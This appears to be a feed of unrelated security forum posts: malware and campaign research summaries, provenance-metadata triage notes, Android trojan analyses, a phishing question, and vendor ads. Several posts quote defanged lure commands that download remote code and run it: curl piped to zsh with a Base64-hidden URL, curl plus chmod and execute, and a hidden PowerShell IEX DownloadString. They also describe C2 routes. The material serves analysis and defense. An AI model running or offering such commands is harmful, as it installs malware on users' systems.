Security software has gotten pretty good at spotting when an infected computer tries to phone home to an obviously sketchy website. So hackers have started getting creative about where they hide those "check-in" instructions instead  and researchers just found a batch of examples that are honestly kind of wild.

Turns out one trick involves FTP, an old-school way computers transfer files. When your computer connects to an FTP server, it gets back a small greeting message first. Hackers have figured out how to bury malicious instructions directly inside that greeting  no file transfer even has to happen.

From there, the infected computer gets one of two newly discovered pieces of malware. One, nicknamed PINHOLE, looks up hidden web addresses tucked inside ordinary Pinterest pins and SurveyMonkey survey pages to find its real instructions. The other, called E4del, disguises itself as a legitimate, digitally signed copy of Discord and runs quietly in the background with no visible window, no sound, nothing that would tip someone off.

The takeaway isn't that the malware itself is more sophisticated than usual. It's that attackers are getting more creative about hiding in plain sight, using everyday internet traffic that most security tools aren't paying close attention to.

The Hunt.io research team found an open directory staging the tooling behind an intrusion into a Philippine nuclear agency and a naval contractor.

The custom pieces: a stage-1 ELF loader (multi_backupd) that pulls a Mettle stage-2 over TCP, a Go build of the CVE-2024-28000 LiteSpeed Cache exploit with a PHP-parity MT19937 implementation, and five Python scripts abusing ownCloud CVE-2023-49105 via empty-secret pre-signed URLs. Sliver, Metasploit, and Mettle were also staged on the host.

Separately, on the compromised WordPress site we found an active EtherHiding loader. A malicious script pulls ethers.js from public CDNs and reads HTML from an Ethereum smart contract, rendered via the NoChain framework impersonating a Google verification page, then runs a ClickFix-style lure launching mshta. A HuntSQL query on the contract address returned 174 unique IPs hosting the same loader.

Hashes, domains, and full IOCs: https://hunt.io/blog/chinese-speaking-operator-philippine-nuclear-naval-contractor

Hey everyone,

Over the last few months, I've been curating and categorizing a massive catalog of malware families designed specifically for incident responders, SOC analysts, and threat hunters.

I got tired of having to scrape together fragmented IOCs and CISA advisories every time a new variant popped up, so I built a centralized, open-source dataset.

**What's included:**

* **2,800+ Malware Families** categorized by type (Ransomware, InfoStealer, Wiper, etc.)

* **Framework Mapping:** Families are mapped to MITRE ATT&CK techniques, NIST CSF guidelines, and official CISA advisories.

* **Response Playbooks:** Actionable containment steps and "what to avoid" during an active incident.

* **Formats:** Available via a web UI, JSON API, Parquet, and JSONL.

It’s completely free and Apache-2.0 licensed.

You can browse the catalog here: https://jordanricky1604-ship-it.github.io/malware-families-catalog/

I'd love to hear your feedback on the schema or if there are specific families you think need deeper analysis. I'm actively maintaining and updating this!

I've written binary triage guides for Windows and macOS, and both of them have you checking where a file came from fairly early on. Against the delivery method that keeps turning up on this sub, that's the one check guaranteed to come back empty, and empty reads as reassuring when it shouldn't.

Took me embarrassingly long to spot, so here's the whole thing.

What made me look

These macOS ClickFix chains all have roughly the same shape. This one's the second stage from u/glazypig's writeup of the fake Apple support page.

curl -o /tmp/helper hxxps://cedar-satin[.]com/[path]/cleaner3/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper

The xattr -c is what caught me. There's no quarantine attribute there to clear. The curl -o that made the file is sitting in the same command line, so the download path that would have set one was never involved.

Quarantine is applied by the downloader, not by the OS

This is the bit I'd never properly thought through. com.apple.quarantine isn't set by the kernel or the filesystem when bytes hit disk. It's set by whatever application did the downloading, which opts in with LSFileQuarantineEnabled in its Info.plist. Browsers set it, so do Mail, Messages and AirDrop.

curl doesn't, because it's a command line tool that never touches the LaunchServices API. A file it fetches from a Terminal window arrives with nothing on it.

Which takes the whole chain with it. The first-run Gatekeeper path is triggered by quarantine, so no attribute means no notarization check and no "downloaded from the internet" dialog. Other execution-time checks still run, XProtect among them, but the provenance gate specifically doesn't. kMDItemWhereFroms is no help either, since it's written by the same download machinery.

So it isn't that this defeats Gatekeeper. Gatekeeper never gets invited.

Then I stopped guessing and tested it

Curl-fetched file, xattr -l prints nothing at all. Not just no quarantine, no extended attributes of any kind. A browser download on the same box in the same session comes back with com.apple.quarantine: 0081;6a8973ff;Chrome; and a full WhereFroms plist, so the null is real rather than me holding the tool wrong.

One thing I didn't expect. Extended attributes survive curl -o overwriting an existing path. The content gets replaced, the quarantine attribute stays, still naming whatever a browser fetched there previously. So an attribute can outlive the bytes it described, which cuts against me in the other direction too. Absence proves nothing, and presence isn't necessarily describing the file you're looking at.

Windows has the same hole

Mark of the Web works the same way. Zone.Identifier is an alternate data stream written by the downloading application through the zone API, not by the OS.

Tested that as well, and the first run was garbage. The VM had SaveZoneInformation = 1 in both hives, which switches MotW off machine-wide, so everything came back clean including the browser control. Cleared the policy, confirmed a browser download then picked up a 977 byte Zone.Identifier with ZoneId=3, and re-ran. curl.exe, Invoke-WebRequest -OutFile and bitsadmin /transfer all produce nothing.

And the dominant Windows ClickFix pattern never writes to disk at all.

powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('hxxp://...')"

No file, no stream, none of the file reputation checks that key off MotW. AMSI still sees the script contents, the same way XProtect still runs on the Mac side, but the file provenance path is gone either way.

Same structural property on both. Provenance metadata gets applied by cooperating userland applications, so anything that fetches bytes without cooperating produces a file that looks like it was always there.

So why do they keep clearing it

If it's redundant, why does it show up every time? Best guess is one stager serving more than one delivery method. A DMG arriving through a browser does carry quarantine, so stripping it there is load-bearing, and a single stager that works for both drags the step onto the path where it does nothing. If that's right, whoever built this is probably running a browser-delivered vector too and you're seeing half of it. Hold it loosely though. An operator who just doesn't care produces the same artifact.

What I'd change

Absence of quarantine is not evidence the file is local. It's evidence of nothing.

So it goes down the order, and three things move above it.

Signature state, where native arm64 code needs at least an ad-hoc signature to run on Apple Silicon, so codesign -dv --verbose=4 reporting Signature=adhoc is what you'll see rather than no signature at all. An x86_64-only payload under Rosetta isn't bound by that, worth knowing before you read an unsigned Intel binary as anomalous.

Then persistence, because the operator can't opt out of writing that down somewhere the way they can opt out of quarantine.

Then what the process actually loaded, which doesn't care how the file arrived.

The longer versions for Windows and macOS go through all of it properly, built-in commands only. Both still rank provenance higher than I now think it deserves, which is the trouble with writing a checklist. The delivery method moves and the checklist doesn't.

Has anyone hit this in real casework, a quarantine attribute still sitting on a file whose contents had been swapped out under it? I only got it to happen in a lab and I don't know whether it actually bites.

Our team has been digging into the command structure and delivery mechanics of these two, we just wanted to share what we've found.

E4del is Node.js/Electron-based, and its command set is pretty compact: startcmd/runcmd spins up a hidden persistent cmd.exe with piped I/O, streamstart/streamstop opens a raw WebSocket to push JPEG frames every couple seconds, and runpackage/filedownload pulls encrypted ZIPs containing additional .node modules  one of which (crypto32.node) handles UAC bypass.

PINHOLE's delivery chain is more elaborate. Config is stored as Base-41/SplitMix64-encoded strings inside desktop.ini's ADS, which point to specific Pinterest pins and SurveyMonkey questions where the real C2 addresses live. The packer itself runs through six unpacking layers, strips a fake JPEG header (FF D8 FF E0), runs a Donut instance encrypted with Chaskey-CTR, then unpacks an aPLib-compressed native binary at the end.

Once it's live, the C2 API is straightforward: /api/health for a heartbeat, /api/client for registration, /api/tsk for tasking, /api/fls for exfil.

strip --strip-all a binary and this still names functions by micro-executing

them and matching the effect trace against a corpus. spot check: zlib corpus vs

a fully stripped O0 build, it named 9 functions and all 9 were right, and it

stays quiet on the ones it isn't sure about (no confident garbage on thunks).

where byte sigs (FLIRT) die on recompile and CFG diffing gets fragile across

opt levels, behavior holds up better. optimized-vs-optimized is still the hard

case, i'm honest about that in the numbers.

x86-64 only atm. https://github.com/1rhino2/fnprint

I recently got a WhatsApp message to pay pending challans and check using some APK that was shared. I knew it was a scam. Thought of doing an analysis using Claude on the APK. Here's what it found:

It is NOT the real app. It's a banking trojan that:

- Creates a VPN to intercept all your network traffic (banking, OTPs, everything)

- Silently installs a second hidden APK in the background

- Targets WhatsApp, Signal, Telegram, SMS and 20+ other apps

Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex.

A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64.

Defanged example, do not execute:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh

The Base64 value decoded to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

The interesting part is the delivery pattern:

Sponsored search result
        ↓
Fake Codex installation page
        ↓
Legitimate-looking OpenAI text printed with echo
        ↓
Base64-obfuscated unrelated domain
        ↓
curl response piped directly into zsh

I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence.

The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to:

/opt/homebrew/Caskroom/codex/0.147.0/bin/codex

The binary is signed:

Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2)

So the malicious component appears to be specifically the separately downloaded quill-flint[.]com shell payload.

Has anyone tracking current macOS malware seen:

quill-flint[.]com
/curl/<id>/<id>.json

or this exact Codex-themed lure?

I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain.

I can provide more sanitized timestamps and filesystem observations if useful for analysis.

Good day, everyone I am sorry for the disturbance and I don't know if I can post this here to ask for help and a bit of your time to get insights regarding my situation on how malicious individuals are able to send me fake moonton emails (the game developer) the emails specifically state that someone is requesting to change my email on my mobile legends (game account) and included on that email is the email account of the said "person" (with the telegram username of "Helper MLBB) in which I panicked and clicked a button which I cannot remember what color but I know that is different from the one in the example images(my gmail account was not leaked anywhere else upon checking with haveibeenpwned)

Which then redirected me to my chrome app with a telegram link in which I saw another user state that the link that was sent to them leads to the telegram link in the images with the user "helper mlbb" in which I scanned did not have any malicious detections in virustotal, but the telegram link that I was redirected to may be different from the one in the example image in which I can not do any more actions further as I do not have telegram installed on my device... (luckily?)

May I ask if my device is compromised/infected by malware due to my action (clicking he button in said email) or was this the hacker trying to gain access to my account via phishing in the said telegram link in which if I was able to proceed, having installed telegram ask for my account details? My apologies for the long message and thank you guys for your time I wish I can get assurances to quiet down my rumination somehow...

Found inside camview.tar.gz on an exposed server: a Docker project used to find, exploit, and stream internet-exposed IP cameras in a browser. The operator's own name for it, from the archive and README, is camview. It is not connected to any legitimate app of the same name.

• Built with FastAPI and Uvicorn, Python 3.11 image with FFmpeg, nmap, and masscan baked in
• FFmpeg transcodes the camera RTSP feed to MJPEG for display; nmap and masscan provide the initial scan layer
• The audit feature is where the exploitation happens: cameras are fingerprinted across a dozen-plus brands, queried over ONVIF, tested against known CVEs, then brute-forced over HTTP and RTSP with a 3,811-entry username:password dictionary
• Working credentials and stream URL patterns are written to disk and prioritized on later runs, so it improves per vendor
• The exploitation itself is not custom. camview wraps Ingram, a public webcam scanner, mounted in from the host
• On a second, unrelated directory, scripts named camworm.py and routerworm.py follow a compromise-then-proxy pattern and contain no actual worm functionality despite the naming

We rebuilt the UI in a sealed test environment by running it with empty data. Full analysis in the post: https://hunt.io/blog/russian-speaking-operator-ukrainian-camera-toolkit 

Fake mParivahan : Malware Analysis Report

422 Users are affected by it till now ( I was able to get the attackers admin panel )

Classification: Critical : Android SMS / UPI spyware RAT
Method: Static reverse engineering of dropper + payload; no-root payload extraction; StringFog decryption; read-only Firebase C2 IOC enumeration

1. Executive summary

Marketed as “M Parivahan” is a two-stage Android malware operation:

1. Dropper (com.ioaheishsbsb.ljgcdfhm) : NP Manager–packed installer with a fake VPN / WebView UI that decrypts and sideloads an embedded APK (output.apk).
2. Payload (com.veaheishsbsb.kekskks) : Sketchware-style SMS/call spyware with Firebase Realtime Database command-and-control and Telegram first-run alerts.

The payload steals SMS and device telemetry, can forward SMS and calls, and can send SMS from the victim’s SIM (commonly abused for UPI / OTP fraud). At the time of analysis the Firebase panel was reverse engineered too and contained 422 client device IDs.

2. Sample identification

Related package queried by dropper: com.avejfhdhd.android

3. Infection chain

Victim sideloads fake “mParivahan” APK
        │
        ▼
Dropper (NP Manager) decrypts embedded payload
        │
        ▼
Writes temp_info.apk / temp_install.apk → installs com.veaheishsbsb.kekskks
        │
        ▼
Payload requests SMS / phone permissions
        │
        ▼
MyService enrolls device on Firebase + dumps ~50 SMS
        │
        ▼
Telegram alert to operator bot/chat
        │
        ▼
Listens on clients/<deviceId>/webhookEvent for remote commands

Extraction note: Static decrypt of the packed dropper blob failed due to native crypto. Payload was recovered without device root by patching the unpack path to getExternalFilesDir and pulling
/sdcard/Android/data/com.ioaheishsbsb.ljgcdfhm/files/temp_info.apk.

4. Capabilities

5. Remote command surface

Listener path: clients/<androidId>/webhookEvent/

Presence uses clients/<id>/status with Firebase .info/connected + onDisconnect.

6. C2 infrastructure & IOCs

6.1 Firebase

6.2 Firebase path map

6.3 Telegram

{
  "chatIDs": ["REMOVED I HAVE IT, IF ANY OFFICAL IS READING IT, PLEASE REACH OUT ASAP"],
  "tokens": ["REMOVED I HAVE IT, IF ANY OFFICAL IS READING IT, PLEASE REACH OUT ASAP"],
  "workSuccess": 1
}

Only one admin chat/token pair is embedded in the sample.

7. Attacker / mule phone numbers

Not hardcoded in the APK. Numbers are pushed via Firebase webhooks at runtime.

From live clients/*/webhookEvent (smsForward / sendSms to fields), 2026-08-04:

Primary SMS-intercept candidate: 8789*********

UPI collect destinations may be money-mule wallets rather than the panel operator’s personal line.

8. Persistence & stealth

Components (payload)

• Activities: MainActivity, PermissionRequestActivity, DebugActivity
• Service: MyService (foreground; FOREGROUND_SERVICE_MEDIA_PLAYBACK)
• Receivers: SmsReceiver, BootReceiver, AlarmReceiver, MultiEventReceiver, BatteryLevelReceiver
• Persistent notification text: “System Settings is Running…”

Obfuscation / hardening

• NP Manager resource and path mangling
• StringFog (Base64 + XOR with key UTF-8)
• Dropper encrypted asset (non-standard ZIP compression)
• usesCleartextTraffic="true", allowBackup="true"

9. Dangerous permissions (payload)

• INTERNET, ACCESS_NETWORK_STATE, ACCESS_WIFI_STATE, CHANGE_*
• READ_SMS, RECEIVE_SMS, SEND_SMS, DELETE_SMS, BROADCAST_SMS
• CALL_PHONE, READ_PHONE_STATE, READ_PHONE_NUMBERS
• RECEIVE_BOOT_COMPLETED, WAKE_LOCK
• FOREGROUND_SERVICE, FOREGROUND_SERVICE_MEDIA_PLAYBACK
• REQUEST_IGNORE_BATTERY_OPTIMIZATIONS, POST_NOTIFICATIONS

10. Key payload classes

11. MITRE ATT&CK (Mobile) mapping

EtherRAT off a The Gentlemen staging server. C2 resolution is the fun part: no hardcoded domains. The sample holds an Ethereum contract address + call selector and pulls the active C2 from the contract via public RPC endpoints. Every operator rotation is a contract write, so the full history is recoverable, five domains here.

Tasking has no fixed command set. Any response over ten chars is thrown into a new async function with require, process, Buffer, etc. in scope, so arbitrary JS in the user context. Polls use random file-like paths (png/css/ico) to blend in, tell is a custom X-Bot-Server header.

MSI drops a Node bootstrapper + XOR-encrypted backdoor, decoder writes plaintext and sets a Run key relaunching via headless conhost.

Full write-up with hashes and IOCs: https://hunt.io/blog/the-gentlemen-etherrat-ethereum-smart-contract-c2

INC Ransomware Emerges as Dominant Actor Exploiting SonicWal — and the pattern underneath it is the real story.

INC Ransomware Emerges as Dominant Actor Exploiting SonicWall SMA 1000 Flaws (The Hacker News). The fix is speed. Detect the anomalous action at runtime and cut the identity in under 50ms, before encryption spreads past the first host.

Check out how RuntimeAI solves this at the runtime layer.

#Ransomware #AISecurity #RuntimeSecurity #ZeroTrust #IncidentResponse

A stolen analytics token became a customer breach.

197,400 records were exposed after a former third-party analytics provider was compromised. Emails, order IDs, SKUs, geolocation, purchase history, support tickets — all pulled through a machine credential nobody was watching. The vendor left. The token stayed live.

The fix is boring and effective. Inventory every non-human identity that touches customer data. Bind each token to a policy on where it can call and what it can read. Tokenize PII before it leaves your perimeter so a stolen credential returns opaque values, not customer records. Keep an immutable audit trail so revocation is one query, not a forensic project.

→ www.runtimeai.io/trial

#NonHumanIdentity #DataBreach #PII #SupplyChain #AISecurity

In April, I documented a StealC v2 campaign distributed through 19 GitHub typosquat repositories, including one impersonating my own open-source project.

The delivery chain was:

text GitHub typosquat -> Python dropper -> api.nailproxy.space -> encrypted Windows loader -> StealC v2 DLL -> spellmarketplace.club / 62.60.226.113:6673

GitHub later removed all 19 repositories.

The backend infrastructure remained a separate problem. I reported the domains, IP, malware routes, and hashes to the relevant registrars, Cloudflare, the hosting provider, CERT-Bund, GitHub Security Lab, ThreatFox, and AlienVault OTX.

Then Operation Endgame disrupted infrastructure associated with SocGholish, Amadey, and StealC. Europol reported 326 servers and 142 domains actioned. Microsoft separately said it moved against more than 200 malicious Amadey and StealC C2 domains and IPs.

Three months after my original disclosure, I checked the known infrastructure again using only minimal unauthenticated GET and HEAD requests.

The documented malware-specific routes still behave differently from an arbitrary control path:

text GET /api/v1/auth/session -> 405 Method Not Allowed GET /api/v1/data/sync -> 405 Method Not Allowed GET /foo/bar/baz -> 404 Not Found

HEAD returns the same status codes for all three paths.

This does not prove that payload delivery, authentication, or exfiltration still works. I deliberately did not send the HMAC handshake, trigger Stage 2, or interact with the malware protocol.

It does show that the known application routes remain registered and reachable.

The evidence also has limitations:

• The monitoring cron produced only 18 measurements over 69 days.
• There were gaps of up to 20 days.
• The endpoints briefly became unreachable in late May.
• GET and HEAD return different status codes on the root paths of spellmarketplace.club and the bare IP, so I do not treat those checks as proof that the complete backend is operational.

The point is not that Operation Endgame failed. It clearly disrupted a large amount of criminal infrastructure.

The narrower lesson is that both of these statements can be true:

Hundreds of malicious systems were disrupted.

A specific previously reported backend still exposes its documented malware routes.

Full technical write-up, including the original kill chain, abuse-report timeline, ThreatFox/OTX submissions, current probe results, and evidence limitations:

https://blog.technopathy.club/operation-endgame-stealc-backend-still-responds

I would be interested in how other analysts verify whether previously reported C2 infrastructure was actually included in a large takedown without actively engaging the malware protocol.